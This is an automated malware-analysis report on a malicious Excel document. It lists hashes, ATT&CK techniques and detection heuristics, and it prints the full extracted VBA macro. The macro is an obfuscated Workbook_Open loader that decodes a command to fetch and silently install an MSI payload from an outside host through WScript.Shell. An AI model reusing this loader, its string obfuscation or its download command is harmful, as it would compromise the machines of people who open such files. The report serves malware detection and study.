Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 b0cee8cc1baa5fd8…

MALICIOUS

Office (OOXML)

14.3 KB Created: 2020-05-15 09:28:12 UTC Authoring application: Microsoft Excel 15.0300 First seen: 2020-09-07
MD5: ed9f48a138e14fa2ae040e9bfbde57ef SHA-1: 7625ace711c8d69987c36392f0330d1f2f314d59 SHA-256: b0cee8cc1baa5fd8233ece2b66333de99e4b63fb32b40b087e54abeb999dab96
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is an Excel document containing an obfuscated VBA macro triggered by the Workbook_Open event. This macro attempts to construct and execute a command that downloads a second-stage payload from a hardcoded IP address and executes it. The obfuscated nature and the use of CreateObject to execute external commands are strong indicators of malicious intent.

Heuristics 5

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3225 bytes
SHA-256: d1cad4e9396e012e630b6434a9d1517f8bf4ad025e3fbbbea708beadcca48366
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub workbook_open()
'fdgsdgdfgsdgfghd
k3__URCo_1ote3H1W.bA7tl_sWhGZV5411Xgsoys9dt
'fgdjhfdshgufdshg
hd1Qk5ejqtA = MsgBox("office", vbCritical, "XCFV600")
End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "k3__URCo_1ote3H1W"
Sub bA7tl_sWhGZV5411Xgsoys9dt()
On Error Resume Next
wQJYdw7mt6ew_rR_xg = ds(72) & ds(82) & ds(105) & ds(37) & ds(52) & ds(72) & ds(37) & ds(114) & ds(120) & ds(99) & ds(110) & ds(74) & ds(99) & ds(125) & ds(99) & ds(106) & ds(104)
wQJYdw7mt6ew_rR_xg = wQJYdw7mt6ew_rR_xg & ds(37) & ds(52) & ds(110) & ds(37) & ds(109) & ds(121) & ds(121) & ds(117) & ds(63) & ds(52) & ds(52) & ds(103) & ds(110) & ds(103) & ds(117) & ds(102) & ds(117) & ds(51) & ds(104) & ds(116) & ds(114) & ds(52) & ds(108) & ds(60) & ds(125) & ds(52) & ds(107) & ds(54) & ds(52) & ds(127) & ds(52) & ds(58) & ds(62) & ds(53) & ds(54) & ds(55) & ds(60) & ds(60) & ds(56) & ds(51) & ds(114) & ds(120) & ds(110) & _
 ds(37) & ds(52) & ds(118) & ds(115) & ds(37)
nNUq___35ajdtxXKDq8LnScRReCDGpo4atE_HRnyj_dmTsnt_uzZgD8S_CWOrruOvoC_sWC_BHm2xz7kzTSUxNWV_vN_4XG28MyqonAVt_WXb_d4EvXWWZaiQrN4H7zo__3lAQ6MS7mtz84p = wQJYdw7mt6ew_rR_xg
jfpdcBmnGNgbtkjokU8WDYs1xv_Ai_7k9h9bKbinl8RB_uiYpbyb_F_Jvwop6lDCQ5bJkFbHuTu_EqEBMqVEOef2gxoXv2r93O_yTXwh_rp_U5_FrmaPN8vuYjnucCV3nuJy4Psy1xEiy_glthqJb (nNUq___35ajdtxXKDq8LnScRReCDGpo4atE_HRnyj_dmTsnt_uzZgD8S_CWOrruOvoC_sWC_BHm2xz7kzTSUxNWV_vN_4XG28MyqonAVt_WXb_d4EvXWWZaiQrN4H7zo__3lAQ6MS7mtz84p)
End Sub
Function ds(fds As Integer)
ds = Chr(fds - 5)
End Function
Function jfpdcBmnGNgbtkjokU8WDYs1xv_Ai_7k9h9bKbinl8RB_uiYpbyb_F_Jvwop6lDCQ5bJkFbHuTu_EqEBMqVEOef2gxoXv2r93O_yTXwh_rp_U5_FrmaPN8vuYjnucCV3nuJy4Psy1xEiy_glthqJb(HwVXyZuSU5jI8ghuIBL98ask7SlN_NBQe7VkY9eqckvF3FRcKpIum7KrEuZgwgiF2Rp_J6VIhfgWolqz_HCE_Opguoenj715BpMlaQQNR9NEawCe_ As String)
xtDk_Vtewjo_f1y45vUhRlns_1LaTkxsjNGH_7J_pAGlr_Le3FhLwfkM_Vx2IQ = 0
WvhJmV89gK9L_ioqBDihR_hLe1lL_l_ZsUtOe8XjUoZD4LWhH75EfQm = ds(92) & ds(88) & ds(72) & ds(119) & ds(110) & ds(117) & ds(89) & ds(51) & ds(120) & ds(77) & ds(74) & ds(113) & ds(81)
Set ZiKMP_7U_cAqXTJ_QDDGo2_r_AQ4j6tPKK2JzGwddY7rGTDSom8uO2xgxdcNcB_C__eLa_IIOkoO5BjZ77P677_SVVUVpjAan37Wyz2ncxfoNjku4BPeuwEu_Jy_pveqjL = CreateObject(WvhJmV89gK9L_ioqBDihR_hLe1lL_l_ZsUtOe8XjUoZD4LWhH75EfQm)
Z_5c9Z__BD6TuFi_NLa3lYZ2N6nBBB5VKaLAOW4y7Ex_HMCo71eTOPzA = ZiKMP_7U_cAqXTJ_QDDGo2_r_AQ4j6tPKK2JzGwddY7rGTDSom8uO2xgxdcNcB_C__eLa_IIOkoO5BjZ77P677_SVVUVpjAan37Wyz2ncxfoNjku4BPeuwEu_Jy_pveqjL.Run(HwVXyZuSU5jI8ghuIBL98ask7SlN_NBQe7VkY9eqckvF3FRcKpIum7KrEuZgwgiF2Rp_J6VIhfgWolqz_HCE_Opguoenj715BpMlaQQNR9NEawCe_, xtDk_Vtewjo_f1y45vUhRlns_1LaTkxsjNGH_7J_pAGlr_Le3FhLwfkM_Vx2IQ)
End Function
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 18432 bytes
SHA-256: 389e0a04c3cfbf0c7e224606aa22763fd4ddf9596447d12e7b772bd0225b24b1

Open this report in the interactive analyzer, or submit your own file for analysis.